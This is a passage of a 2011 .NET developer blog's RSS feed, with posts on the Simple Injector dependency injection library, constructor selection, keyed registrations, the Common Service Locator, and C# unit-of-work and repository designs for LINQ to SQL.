typeof(NullFetchingStrategy&lt;&gt;));</pre><p>The <span class="type">NullFetchingStrategy</span><span class="code">&lt;TService&gt;</span> is an implementation of the <a rel="external" href="http://en.wikipedia.org/wiki/Null_Object_pattern" title="Wikipedia - Null Object pattern">Null Object Pattern</a>, which is of course trivial. I won&rsquo;t bore you with that. This registration will return a new instance of <span class="type">NullFetchingStrategy</span><span class="code">&lt;TService&gt;</span> when a <span class="type">IFetchingStrategy</span><span class="code">&lt;TService&gt;</span> is requested. Note that the batch registrations done with <span class="code">RegisterManyForOpenGeneric</span> will always preceed these registrations.</p><p>If you are interested in applying this idea in your application, but don&rsquo;t know how to do this with the DI container you currently use in your application; take a look at the <a rel="external" href="http://simpleinjector.codeplex.com/wikipage?title=Migration%20Guide&amp;referringTitle=Documentation" title="Simple Injector - Migration Guide">Simple Injector migration guide</a>. It shows you how to rewrite all the above registration snippets in the container of your choice.</p><h5>Short comes</h5><p>While part one of this series described a model that allowed to work with multiple data sources and even multiple O/RM technologies side-by-side, I left that out of this part. Adding that wouldn&rsquo;t be that difficult, though.</p><p>One thing to note is that it gets much harder to use fetching strategies when you execute multiple commands within the same unit of work, for instance when a command has multiple sub commands. There are two solutions I can think of. Either we apply solely the fetching strategy for the main command to the DataContext (the easiest thing to do), or we apply all strategies to the context before the command is executes. </p><h5>Conclusion</h5><p>Fetching strategies are a valuable pattern that allow you to fix O/RM specific performance problems without coupling your main application logic to the chosen O/RM technology.</p><p>Happy injecting!</p> ]]></description>
			<guid isPermaLink="false">89@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, Dependency injection, Entity Framework, LINQ, LINQ to SQL, O/RM, Simple Injector, SQL</category>
			<pubDate>Sun, 19 Jun 2011 17:50:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Simple Injector: Working with multiple constructors</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=88</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=88#comm</comments>
                        <description><![CDATA[ Although limited in features, the Simple Injector has simple but flexible way to add features, such as the possibility to work with multiple constructors.<p><img src="http://www.cuttingedge.it/blogs/steven/images/nurse1.jpg" style="float:right;margin-left:10px;margin-bottom:5px;border:1px solid" title="" alt="" class="pivot-image" />I read <a rel="external" href="http://www.planetgeek.ch/author/remo-gloor/" title="Remo Gloor's weblog">Remo Gloor's weblog</a> today. <a rel="external" href="http://stackoverflow.com/users/448580/remo-gloor" title="Stackoverflow - Remo Gloor">Remo Gloor</a> is a developer on <a rel="external" href="http://ninject.org/">Ninject</a>. In <a rel="external" href="http://www.planetgeek.ch/2011/05/28/ninject-constructor-selection-preview/" title="Ninject constructor selection preview">his latest blog post</a>, he describes a new feature of the coming Ninject release concerning constructor selection. The Ninject team is going to add a new feature that allows developers to configure which constructor overload Ninject should pick to create that type.</p><p>I'm not a fan of such a feature, because this steers developers away from a clean application design. Types that act as service components, should contain a single definition of the required dependencies. Since constructor injection is the primary way to inject our dependencies, it doesn't make much sense to have multiple (public) constructors, because we end up with multiple definitions of what dependencies a class requires.</p><p>The problem with adding features that support corner case scenarios is that they tend to pollute the framework&rsquo;s API. While existing users won't notice the slowly increasing API surface (just like frogs tend to stay in the water when it is heated slowly), new users get overwhelmed. Because of this I try to keep the feature set of <a rel="external" href="http://simpleinjector.codeplex.com" title="Simple Injector">Simple Injector</a> minimal. Even the feature set of the SimpleInjector.Extensions library is fairly limited.</p><p>Funny thing however, is that such a feature, as Remo is adding in the next Ninject version, is already very easy to implement with the Simple Injector, simply by adding an extension method. Here is an example:</p><p><font color="#FF0000">Update [2011-12-13]: This code was updated for the Simple Injector v1.3 release.</font></p><pre class="cs" language="csharp" customtypes="IConstructorSelector Container Expression Func NewExpression" customvaluetypes="PutYourCustomValueTypesHere">public static void Register&lt;TService, TImplementation&gt;(<br />    this Container container, IConstructorSelector selector)<br />    where TService : class<br />{<br />    container.Register&lt;TService&gt;(() =&gt; null);<br /><br />    container.ExpressionBuilt += (sender, e) =&gt;<br />    {<br />        if (e.RegisteredServiceType == typeof(TService))<br />        {<br />            var ctor =<br />                selector.GetConstructor(typeof(TImplementation));<br /><br />            var parameters =<br />                from p in ctor.GetParameters()<br />                select container.GetRegistration(p.ParameterType, true)<br />                    .BuildExpression();<br /><br />            e.Expression = Expression.New(ctor, parameters);<br />        }<br />    };<br />}</pre><p>This extension method does two things. First it registers the service with a 'fake' delegate. This ensures that nobody can exidentally override the implementation, and it ensures the <span class="code">ExpressionBuilt</span> event will get triggered (since it only gets triggered for registered types). Next it hooks a delegate to the <span class="code">ExpressionBuilt</span> event. The <span class="code">ExpressionBuilt</span> event will get raised every time the container builds an <span class="type">Expression</span> object for the creation of a service type, but before this Expression gets compiled to a <span class="type">Func</span><span class="code">&lt;T&gt;</span> delegate. This allows us to influence how the container creates a type, which is exactly what we're doing here. When the delegate gets called, we first check whether the event gets raised for our <span class="code">TService</span> (otherwise we skip), and if so, we fetch the constructor we wish to use using the supplied <span class="type">IConstructorSelector</span> instance (shown below). Using this constructor we create a <span class="type">NewExpression</span> instance that allows us to create a new instance of the given <span class="code">TImplementation</span> using retrieved constructor, by supplying it the correct set of parameters. </p><p>Here is the <span class="type">IConstructorSelector</span> interface with with a convenient default implementation:</p><pre class="cs" language="csharp" customtypes="IConstructorSelector ConstructorInfo ConstructorSelector" customvaluetypes="PutYourCustomValueTypesHere">public interface IConstructorSelector<br />{<br />    ConstructorInfo GetConstructor(Type type);<br />}<br /><br />public sealed class ConstructorSelector : IConstructorSelector<br />{<br />    public static readonly IConstructorSelector MostParameters =<br />        new ConstructorSelector(type =&gt; type.GetConstructors()<br />            .OrderByDescending(c =&gt; c.GetParameters().Length).First());<br /><br />    public static readonly IConstructorSelector LeastParameters =<br />        new ConstructorSelector(type =&gt; type.GetConstructors()<br />            .OrderBy(c =&gt; c.GetParameters().Length).First());<br /><br />    private readonly Func&lt;Type, ConstructorInfo&gt; selector;<br /><br />    public ConstructorSelector(Func&lt;Type, ConstructorInfo&gt; selector)<br />    {<br />        this.selector = selector;<br />    }<br /><br />    public ConstructorInfo GetConstructor(Type type)<br />    {<br />        return this.selector(type);<br />    }<br />}</pre><p>With this in place, we can simply register a multi constructor type as follows:</p><pre class="cs" language="csharp" customtypes="IService MyServiceImpl ILogger IRepository ConstructorSelector" customvaluetypes="PutYourCustomValueTypesHere">container.Register&lt;IService, MyServiceImpl&gt;(<br />    ConstructorSelector.MostParameters);</pre><p>Because we use <span class="type">Expression</span> objects here, retrieving instances like this pure fire, just as it is with the normal <span class="code">Register&lt;TService, TImplementation&gt;()</span> method.</p><p>I like to repeat that I discourage anyone to specify multiple constructors on a type, so the usefulness of this feature is limited. Nevertheless did it give me the possibility to showcase the extendibility of the Simple Injector :-).</p><h4>Happy injecting.</h4> ]]></description>
			<guid isPermaLink="false">88@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, Dependency injection, Simple Injector</category>
			<pubDate>Sat, 28 May 2011 13:30:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Simple Injector - The easiest Dependency Injection framework in town</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=87</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=87#comm</comments>
                        <description><![CDATA[ The Simple Injector is an easy-to-use Inversion of Control library for  .NET and Silverlight. It solely supports code-based configuration and is  an ideal starting point for developers unfamiliar with larger IoC / DI  libraries.<p style="border: 2px solid #00cc00; padding: 4px; background-color: #eeffee"><strong>Download:</strong> The Simple Injector library and source code can be downloaded from <a rel="external external external" href="http://codeplex.com" target="_blank" title="CodePlex - Open Source Project Community">CodePlex.com</a>. Visit the homepage at <a rel="external external external" href="http://simpleinjector.codeplex.com" target="_blank" title="Simple Injector - truly simple dependency injection">simpleinjector.codeplex.com</a> or go directly to the <a rel="external external external" href="http://simpleinjector.codeplex.com/releases/" target="_blank" title="Simple Injector - Downloads">Downloads</a> tab.</p>  <p><img src="http://www.cuttingedge.it/blogs/steven/images/di.jpg" style="float:right;margin-left:10px;margin-bottom:5px;border:1px solid" title="Dependency Injection" alt="Dependency Injection" class="pivot-image" />Readers that are already familiar with the <em>Simple Service Locator</em> might be wondering what happened with it. Nothing has happened with it. I released <a rel="external" href="http://simpleinjector.codeplex.com/releases/view/56439" title="Simple Service Locator v1.0">a stable release</a> over a month ago and you can still download it.</p><p>The <strong><em>Simple Injector</em></strong> is a fork of the code base of the <em>Simple Service Locator</em> and shared almost the exact same API as the <em>Simple Service Locator</em>. There is a reason however, why I renamed the <em>Simple Service Locator</em>.</p><p>In earlier posts (<a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=85" title="Do we need the Common Service Locator?">here</a> and <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=86" title="Removing Keyed Registrations from the Simple Service Locator">here</a>) on my blog, I question the usefulness of the <a rel="external" href="http://commonservicelocator.codeplex.com/" title="Common Service Locator">Common Service Locator</a> and keyed registrations. I decided that I didn&rsquo;t want to remove those features from the Simple Service Locator, because it could annoy existing users. I had however, strong reasons to remove those, because I didn&rsquo;t feel those features did belong there.</p><p>Because I wanted to introduce some major breaking changes, such as removing the hard dependency on the <em>Common Service Locator</em> and the removal of keyed registrations, I decided to change the name of the new version. This has a few advantages. First of all, this communicates clearly that this is not the <em>Simple Service Locator</em> and users should not expect it to be compatible. Besides this, the name of the <em>Simple Service Locator</em> was chosen, because it is an implementation of the <em>Common Service Locator</em>. Since I removed the dependency with the <em>Common Service Locator</em>, there was no reason to call the library &lsquo;Simple Service Locator&rsquo;, which was a controversial name in the first place. It lead to a lot of confusion.</p><p>Because of the above, I &lsquo;rebranded&rsquo; the library, which is now called &rdquo;Simple Injector&rdquo;. I will still maintain the <em>Simple Service Locator</em>, but the focus of development and documentation lies with the <em>Simple Injector</em>. You can see the <em>Simple Service Locator</em> as feature complete. It&rsquo;s done, just like LINQ to SQL is &lsquo;done&rsquo; :-).</p><h5>So what are the differences with the Simple Service Locator anyway?</h5><h6>1. No more Common Service Locator <br /></h6><p>Like I said, I removed the dependency on the <em>Common Service Locator</em> (CSL). This means that you don&rsquo;t need the Microsoft.Practices.ServiceLocation.dll anymore. If you still want to hide the <em>Simple Injector</em> behind the CSL fa&ccedil;ade, you still can. There is now an CSL Adapter available in the download.</p><h6>2. No more keyed registrations <br /></h6><p>Second difference is the removal of the keyed registrations. Keyed registrations make sense in two situations. It makes sense when you are calling into the container itself directly from within your application, and second, it makes sense when using keyed registrations for registration purposes. Some DI containers contain many examples in their documentation were keyed registrations are used for things as decorators or collections of instances.</p><p>The thing is however, that calling into the container itself is a pattern known as the <a rel="external" href="http://en.wikipedia.org/wiki/Service_locator_pattern" title="Service Locator pattern">Service Locator pattern</a>, and is typically considered an <a rel="external" href="http://blog.ploeh.dk/2010/02/03/ServiceLocatorIsAnAntiPattern.aspx" title="Mark Seemann's .NET blog - Service Locator is an Anti-Pattern">anti-pattern</a>. I agree with this and it is the main reason for me changing the library so drastically.</p><p>The containers that use keyed registrations as examples are mostly the containers that do not allow concrete unregistered types to be resolved (such as Autofac and Castle Windsor). <em>Simple Injector</em> (or <em>Simple Service Locator</em> for that matter) allow unregistered concrete types to be resolved (just as Unity and StructureMap do). The reason for those other frameworks not to do this by default, is because it is considered bad practice to depend on concrete implementations. I agree with that, but this doesn&rsquo;t mean you shouldn&rsquo;t be able to resolve a concrete type if you want to. In fact, allowing concrete instances to be resolved, it makes the actual DI configuration much simpler, and that&rsquo;s really what the <em>Simple Injector</em> is all about. I haven&rsquo;t found a scenario yet that could only be solved by using keyed / named registrations with the <em>Simple Injector</em>. Because of all this, I simply had to remove it from the library. If you really want to be able to resolve an instance by a key though, just create an abstract factory. <a rel="external" href="http://simpleinjector.codeplex.com/wikipage?title=Advanced-scenarios#Resolving_Instances_By_Key" title="Simple Injector wiki - Advanced scenarios - Resolving Instances By Key">It&rsquo;s so simple to do so</a>, that this by itself justifies not having such a feature in the library.</p><h6>3. Silverlight <br /></h6><p>Besides these two changes, there are other changes, such as Silverlight support. While <em>Simple Service Locator</em> always intended to have Silverlight support, it didn&rsquo;t really work. I pulled the support from the stable release of the <em>Simple Service Locator.</em> To get this to work in the Silverlight sandbox, was actually quite a lot of work. <em>Simple Injector</em> now supports Silverlight (and the solution now has a full set of unit tests for Silverlight, that will ensure that it will keep working).</p><h6>4. Extensions for more advanced stuff <br /></h6><p><em>Simple Injector</em> now contains an <em>Extensions</em> assembly, that can be added when you want advanced features. The project existed in the <em>Simple Service Locator</em> source code, but it just contained a bunch of example code snippets. For <em>Simple Injector</em>, that project is now fully tested and part of the download. Placing this stuff in a separate assembly, allows the core to be really slim and easy to grasp.</p><h6>5. Good support for property injection <br /></h6><p>The <em>Simple Service Locator</em> contains <span class="code">Register&lt;TConcrete&gt;(</span><span class="type">Action</span><span class="code">&lt;TConcrete&gt;)</span> and <span class="code">RegisterSingle&lt;TConcrete&gt;(</span><span class="type">Action</span><span class="code">&lt;TConcrete&gt;)</span> overloads that allow registering a concrete type and hook up an <span class="type">Action</span><span class="code">&lt;T&gt;</span> delegate that allow initializing that type after it is created. Unfortunately, this only works with concrete types. In the <em>Simple Injector</em> project these methods are replaced with a single <span class="code">RegisterInitializer&lt;T&gt;(</span><span class="type">Action</span><span class="code">&lt;T&gt;)</span> method. This method allows registration of delegates for each and every type. For instance, when you hook up an <span class="type">Action</span><span class="code">&lt;</span><span class="keyword">object</span><span class="code">&gt;</span> delegate, it will be called for each and every instance created by the container. While this might not be that useful, it shows the power of this feature. The main scenario for this feature is property injection. The feature allows to register a delegate for a base type, and it will run after the creation of every type that derives from it (or implements it, if it's an interface). There is one catch though, with this feature. While this feature has a one-to-one mapping for some DI frameworks (such as Autofac), you can have a hard time doing this with others (such as Castle Windsor and Unity). I am writing a <a rel="external" href="http://simpleinjector.codeplex.com/wikipage?title=Migration%20Guide&amp;referringTitle=Documentation" title="Simple Injector - Migration Guide">migration guide</a>, which helps users that want to switch from <em>Simple Injector</em> to another DI framework. I will describe the lack of support for this feature on the migration page of those frameworks that do.</p><p>I hope developers find the library useful. My intention is to keep it small and simple, and having lots of documentation and code snippets on the CodePlex wiki to keep developers productive. </p><p>Happy injecting!</p> ]]></description>
			<guid isPermaLink="false">87@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, Simple Injector, Simple Service Locator</category>
			<pubDate>Sun, 01 May 2011 18:15:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Removing Keyed Registrations from the Simple Service Locator</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=86</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=86#comm</comments>
                        <description><![CDATA[ In this post I again like to consult my Simple Service Locator users,  readers of my blog, and followers of the Simple Service Locator CodePlex  project, about a change to the library I'm considering.<p><img src="http://www.cuttingedge.it/blogs/steven/images/key.jpg" style="float:right;margin-left:10px;margin-bottom:5px;border:1px solid" title="" alt="" class="pivot-image" />Thanks for everybody who replied to my <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=85" title=".NET Junkie's weblog - Do we need the Common Service Locator?">last blog post</a> about the <a rel="external" href="http://simpleservicelocator.codeplex.com/SourceControl/changeset/changes/69741" title="Simple Service Locator">Simple Service Locator</a>. Because of all the reactions, I'm currently seriously considering to loose the hard dependency on the Common Service Locator. I&rsquo;m currently trying to come up with a solution where I can have a soft dependency on de Common Service Locator (by loading the assembly with Assembly.Load and using lightweight code generation to generate a IServiceLocator implementation), but this currently seems very fragile.</p><p>An other thing I'm currently considering is removing the possibility to do keyed registrations (registering instances by a string key). The reason is the same as with removing the hard dependency on the Common Service Locator: I think it makes little sense when doing dependency injection.</p><p>Before making such a change I again want to consult my users and followers. So can you tell me if you are using keyed registrations today in your projects (with the Simple Service Locator or any DI framework for that matter) and have any reason to believe that you can't easily change it to using factories.</p><p>Please drop a note in the comments below or send me a mail (to steven at this domain) if you prefer that.</p><p>Thanks.</p> ]]></description>
			<guid isPermaLink="false">86@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, Simple Service Locator</category>
			<pubDate>Sun, 13 Mar 2011 14:17:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Do we need the Common Service Locator?</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=85</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=85#comm</comments>
                        <description><![CDATA[ The Simple Service Locator has a hard dependency on the Common Service Locator. But is this a good design choice? I like to hear your opinion on this.<p><img src="http://www.cuttingedge.it/blogs/steven/images/csl.jpg" style="float:right;margin-left:10px;margin-bottom:5px;border:1px solid" title="Common Service Locator logo" alt="Common Service Locator logo" class="pivot-image" />It's now been over a year ago since I published a first version of the  <a rel="external" href="http://simpleservicelocator.codeplex.com" title="Simple Service Locator">Simple Service Locator</a> project on CodeProject. The Simple Service  Locator was (and still is) meant as an intermediate IoC framework,  especially suited for developers that are new to IoC and are not yet  familiar with any of the big (more complicated) IoC frameworks in the  field. One of the core design goals behind the library was to make an  IoC implementation that could easily be replaced it with a more  feature-rich IoC framework when needed. Because of this I let the  library have a hard dependency on the <a rel="external" href="http://commonservicelocator.codeplex.com/wikipage?title=API%20Reference&amp;referringTitle=Implementing%20the%20Interface" title="Common Service Locator - an abstraction over IoC implementations">Common Service Locator</a>.</p><p>It was not much later after releasing that first beta of the SSL that I started to doubt the usefulness of having a dependency on the Common Service Locator. The reason for it was that I (finally) started to see the benefits of writing applications in such a way that the dependency on a DI framework or an abstraction over it, could be removed altogether. By using the <a rel="external" href="http://dotnetslackers.com/articles/designpatterns/DI-Patterns-Constructor-Injection.aspx" title="DI Design Pattern: Constructor Injection">constructor injection</a> DI pattern, instead of calling a container or an abstraction over it directly from code (which is known as the <a rel="external" href="http://java.sun.com/blueprints/corej2eepatterns/Patterns/ServiceLocator.html" title="Service Locator">Service Locator</a> (<a rel="external" href="http://blog.ploeh.dk/2010/02/03/ServiceLocatorIsAnAntiPattern.aspx" title="Mark Seemann's .NET blog - Service Locator is an Anti-Pattern">anti</a>) pattern), we are able to almost completely hide the used IoC container from the application. Ideally there should be just a single line of code in the application that calls the container. Having a project structured like that, makes the need of using an abstraction redundant, because what's the use of an abstraction when you can replace it with one line of code?</p><p>I noticed that writing unit tests became much easier after I choose to use Dependency Injection over the Service Locator pattern. In the past I had a lot of nasty IoC configuration for my unit tests. I had to do clever tricks to make them run correctly in parallel (because MSTest runs tests in parallel).</p><p>The thing is however, that when you start writing unit tests for a code base that contains no tests yet, starting of with the Service Locator pattern is a hell of a lot easier than using the Dependency Injection pattern. When you start using dependency injection, you move the responsibility of wiring the dependencies together from a class up to its consumers. The consumers again will have to move the wiring to their consumers. In other words, when applying&nbsp; DI, it tends to have a ripple effect bottom up through your code base. To get an existing project structured like that, you probably need to refactor a lot. </p><p>Because of this I was (and still am) in doubt about whether forcing my users to have a dependency on the Common Service Locator is good thing, because a good designed application won't need it. On the other hand, because SSL is meant as an intermediate IoC framework, the library will probably be used as first IoC framework, and developers are likely to pick Service Locator over Dependency Injection.</p><p style="border: 4px solid blue; padding: 4px"><font color="#0000ff">Because of this doubt, I like to turn to you, my users of the Simple Service Locator, followers of the CodePlex project, and readers of my blog. If you are using SSL today, I like to know if you are benefitting from the Common Service Locator facade or if it's in your way. What are your thoughts about this subject? Do you think that having an hard dependency on the Common Service Locator is justifiable, or would the library benefit from being published without the Common Service Locator?</font></p><p>Please drop a note in the comments below or send me a mail (to steven at this domain) if you prefer that.</p><p>Thanks in advance.</p> <p>Cheers</p> ]]></description>
			<guid isPermaLink="false">85@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, Simple Service Locator</category>
			<pubDate>Tue, 01 Mar 2011 20:45:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Faking your LINQ provider part 1</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=84</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=84#comm</comments>
                        <description><![CDATA[ I recently tried to figure out how to write testable code while using LINQ to SQL as my O/RM of choice, without loosing the ability to use LINQ to Expression trees! In this post I describe the design I ender up with.<p><img src="http://www.cuttingedge.it/blogs/steven/images/chain.jpg" style="float:right;margin-left:10px;margin-bottom:5px;border:1px solid" title="" alt="" class="pivot-image" />Friday, someone at <a rel="external" href="http://www.stackoverflow.com">Stackoverflow</a> <a rel="external" href="http://stackoverflow.com/questions/4169839/repository-pattern-with-modern-data-access-strategies" title="Repository pattern with ">asked</a> how to hide LINQ enabled persistence frameworks behind an abstraction (the <a rel="external" href="http://martinfowler.com/eaaCatalog/repository.html">repository pattern</a>). I pointed him to <a rel="external" href="http://stackoverflow.com/questions/4128640/how-to-remove-unit-of-work-functionality-from-repositories-using-ioc" title="How to remove unit of work functionality from repositories using IOC">a question</a> on Stackoverflow that I answered a few days earlier in what I explained how to allow your LINQ to SQL project to be unit testable. Friday&rsquo;s question however, was about being able to easily change the <a rel="external" href="http://en.wikipedia.org/wiki/Object-relational_mapping" title="Object-relational mapping">O/RM</a> later on, and specifically with multiple data stores / databases involved.</p>  <p>Let me start by saying that due to the current difference in behavior and quality between both open source and commercial LINQ provider implementations, it is hard to completely abstract away such implementation, while still allowing to use LINQ to Expression queries that are effectively translated to database queries. If you want to be able to easily switch O/RM technology later on, you should -not only- have enough unit tests, but especially have enough integration tests that verify the interaction between your LINQ queries and the database (with the persistence technology in between). Also business transactions that involve deletes are something you should cover using integration tests, because the behavior of deleting objects might differ between O/RM frameworks in surprising ways.</p>  <p>For the project I'm currently working on, I use LINQ to SQL as O/RM tool and I was faced with the problem of unit testing. I wrote <a rel="external" href="http://stackoverflow.com/questions/4128640/how-to-remove-unit-of-work-functionality-from-repositories-using-ioc" title="How to remove unit of work functionality from repositories using IOC">this answer</a> on Stackoverflow with the experience gained on this project. The answer explains a simplified model of what I designed. What that answer didn&rsquo;t show however, was that my actual solution was especially designed to deal with multiple data sources. Friday&rsquo;s answer triggered me to write this actual design down. What I tried to achieve was the following:</p>  <ul> <li>Abstracting LINQ to SQL away enough to allow unit testing.</li> <li>Create the abstractions in such a way that adding new entities and new data sources would take very little code, both in application and tests.</li> <li>I wanted it to be as <a rel="external" href="http://en.wikipedia.org/wiki/Don%27t_repeat_yourself" title="Don't repeat yourself">DRY</a> as a bone.</li> <li>Have a model that closely mimics the API of LINQ to SQL.</li> </ul>  <p>What I tried to achieve in my design was to have one unit of work per data source, but without the need to have different implementations during testing. What I ended up with was a design were the persistence technology was abstracted away behind an <span class="type">IDataMapper</span> interface. The unit of work class would be dependent on the <span class="type">IDataMapper</span>, but not on the specific O/RM.</p>  <p>In my design the unit of work would be a container of repositories. These repositories would simply implement <span class="type">IQueryable</span><span class="code">&lt;T&gt;</span> (such as <span class="type">IQueryable</span><span class="code">&lt;</span><span class="type">Customer</span><span class="code">&gt;</span> for a customer repository), because this allows us to use LINQ queries over the repository.</p>  <p>The typical caller of those data source specific unit of work classes would be a business command or service class. While I could easily configure <a rel="external" href="http://simpleinjector.codeplex.com" target="_blank" title="Simple Injector - The easiest IoC framework in town.">my favorite IoC framework</a> to create a new instance of a unit of work and inject it into a command, I liked the creation of a new unit of work to be more explicit. Units of work should be committed and disposed, which makes the ownership important. I wanted to make creation and disposing of those object very explicit in my code. For this reason I decided to write factories for the creation of units of work.</p>  <p>Let&rsquo;s go through the different parts of the code, starting with the Units of work:</p>  <h5>Unit of Work<a name="unit_of_work" title="unit_of_work"></a></h5>  <p>The <a rel="external" href="http://martinfowler.com/eaaCatalog/unitOfWork.html">Unit of Work</a> pattern describes a way to coordinate the writing out of changes in a business transaction. It allows you to make a series of changes in memory and commit them atomically. In my design I have a class per data source. For instance, below is an example of a unit of work for the Northwind database:</p>  <pre class="cs" language="csharp" customtypes="Assert Customer DataContext Employee EntityContainer EntityFrameworkDataMapper EntityFrameworkNorthwindUnitOfWorkFactory EntityFrameworkSalesUnitOfWorkFactory EntityRepository Expression FakeFactory FakeUnitOfWorkFactoryFactory IBusinessCommand IDataMapper InMemoryDataMapper InMemoryRepository IQueryable IQueryProvider DebuggerStepThrough IUnitOfWorkFactory KeyNotFoundException LinqToSqlDataMapper LinqToSqlNorthwindUnitOfWorkFactory LinqToSqlRepository NorthwindRepositoryExtensions NorthwindUnitOfWork Order Repository SalesUnitOfWork SomeBusinessCommand SomeBusinessCommandHandler IHandle Table">public sealed class NorthwindUnitOfWork : IDisposable <br />{<br />    private readonly IDataMapper mapper;<br />    <br />    public NorthwindUnitOfWork(IDataMapper mapper)<br />    {<br />        this.mapper = mapper;<br />    }<br />    <br />    public Repository&lt;Customer&gt; Customers<br />    {<br />        [DebuggerStepThrough]<br />        get { return this.mapper.GetRepository&lt;Customer&gt;(); }<br />    }<br />    <br />    public Repository&lt;Employee&gt; Employees<br />    {<br />        [DebuggerStepThrough]<br />        get { return this.mapper.GetRepository&lt;Employee&gt;(); }<br />    }<br />    <br />    public Repository&lt;Order&gt; Orders<br />    {<br />        [DebuggerStepThrough]<br />        get { return this.mapper.GetRepository&lt;Order&gt;(); }<br />    }<br />    <br />    [DebuggerStepThrough]<br />    public void SubmitChanges()<br />    {<br />        this.mapper.Save();<br />    }<br />    <br />    [DebuggerStepThrough]<br />    public void Dispose()<br />    {<br />        this.mapper.Dispose();<br />    }<br />}</pre>  <p>The <span class="type">NorthwindUnitOfWork</span> wraps a <span class="type">IDataMapper</span> and forwards the calls to <span class="code">Dispose</span> and <span class="code">SubmitChanges</span> to the mapper. The <span class="type">NorthwindUnitOfWork</span> also contains a set of properties that represent the different repositories. A repository implements <span class="type">IQueryable</span><span class="code">&lt;T&gt;</span> and allows the retrieval of a certain type. As you can see, all properties return the generic <span class="type">Repository</span><span class="code">&lt;T&gt;</span> class. Here is the definition of <span class="type">Repository</span><span class="code">&lt;T&gt;</span>:</p>  <pre class="cs" language="csharp" customtypes="Assert Customer DataContext Employee EntityContainer EntityFrameworkDataMapper EntityFrameworkNorthwindUnitOfWorkFactory EntityFrameworkSalesUnitOfWorkFactory EntityRepository Expression FakeFactory FakeUnitOfWorkFactoryFactory IBusinessCommand IDataMapper InMemoryDataMapper InMemoryRepository IQueryable IQueryProvider IUnitOfWorkFactory KeyNotFoundException LinqToSqlDataMapper LinqToSqlNorthwindUnitOfWorkFactory LinqToSqlRepository NorthwindRepositoryExtensions NorthwindUnitOfWork Order Repository SalesUnitOfWork SomeBusinessCommand Table">public abstract class Repository&lt;T&gt; : IQueryable&lt;T&gt;<br />    where T : class<br />{<br />    private readonly IQueryable&lt;T&gt; query;<br /><br />    protected Repository(IQueryable&lt;T&gt; query)<br />    {<br />        this.query = query;<br />    }<br /><br />    public Type ElementType<br />    {<br />        get { return this.query.ElementType; }<br />    }<br /><br />    public Expression Expression<br />    {<br />        get { return this.query.Expression; }<br />    }<br /><br />    public virtual IQueryProvider Provider<br />    {<br />        get { return this.query.Provider; }<br />    }<br /><br />    public abstract void InsertOnSubmit(T entity);<br /><br />    public abstract void DeleteOnSubmit(T entity);<br /><br />    public void InsertAllOnSubmit(IEnumerable&lt;T&gt; entities)<br />    {<br />        foreach (var entity in entities)<br />        {<br />            this.InsertOnSubmit(entity);<br />        }<br />    }<br /><br />    public void DeleteAllOnSubmit(IEnumerable&lt;T&gt; entities)<br />    {<br />        foreach (var entity in entities)<br />        {<br />            this.DeleteOnSubmit(entity);<br />        }<br />    }<br /><br />    public IEnumerator&lt;T&gt; GetEnumerator()<br />    {<br />        return this.query.GetEnumerator();<br />    }<br /><br />    IEnumerator IEnumerable.GetEnumerator()<br />    {<br />        return this.query.GetEnumerator();<br />    }<br />}</pre>  <p>The repository decorates an <span class="type">IQueryable</span><span class="code">&lt;T&gt;</span>. The sole reason to have a <span class="type">Repository</span><span class="code">&lt;T&gt;</span> instead of simply returning <span class="type">IQueryable</span><span class="code">&lt;T&gt;</span> is because of the <span class="code">InsertOnSubmit</span> and <span class="code">DeleteOnSubmit</span> methods. In my initial design I implemented the <span class="code">InsertOnSubmit</span> and <span class="code">DeleteOnSubmit</span> as instance methods of the unit of work (as Entity Framework does). However, when I added <span class="code">InsertAllOnSubmit</span> and <span class="code">DeleteAllOnSubmit</span> methods things went wrong. I wrote code that looked a bit like this:</p>  <pre class="cs" language="csharp" customtypes="Assert Customer DataContext Employee EntityContainer EntityFrameworkDataMapper EntityFrameworkNorthwindUnitOfWorkFactory EntityFrameworkSalesUnitOfWorkFactory EntityRepository Expression FakeFactory FakeUnitOfWorkFactoryFactory IBusinessCommand IDataMapper InMemoryDataMapper InMemoryRepository IQueryable IQueryProvider IUnitOfWorkFactory KeyNotFoundException LinqToSqlDataMapper LinqToSqlNorthwindUnitOfWorkFactory LinqToSqlRepository NorthwindRepositoryExtensions NorthwindUnitOfWork Order Repository SalesUnitOfWork SomeBusinessCommand Table">var customer =<br />    context.Customers.GetById(this.CustomerId);<br /> <br />context.DeleteOnSubmit(customer.Orders);</pre>  <p>Note that I incorrectly called <span class="code">DeleteOnSubmit</span> instead of calling the <span class="code">Delete<strong>All</strong>OnSubmit</span>. This compiled fine, because <span class="code">DeleteOnSubmit</span> accepted <span class="keyword">object</span> and a collection of orders is of course an <span class="keyword">object</span>. I think this was one of the reasons why the C# team decided to put those insert and delete methods on LINQ to SQL&rsquo;s <span class="type">Table</span><span class="code">&lt;T&gt;</span> class. So I wanted to have those methods on the repository and that lead to a design with the <span class="type">Repository</span><span class="code">&lt;T&gt;</span> class.</p>  <p>The <span class="type">NorthwindUnitOfWork</span> and the <span class="type">Repository</span><span 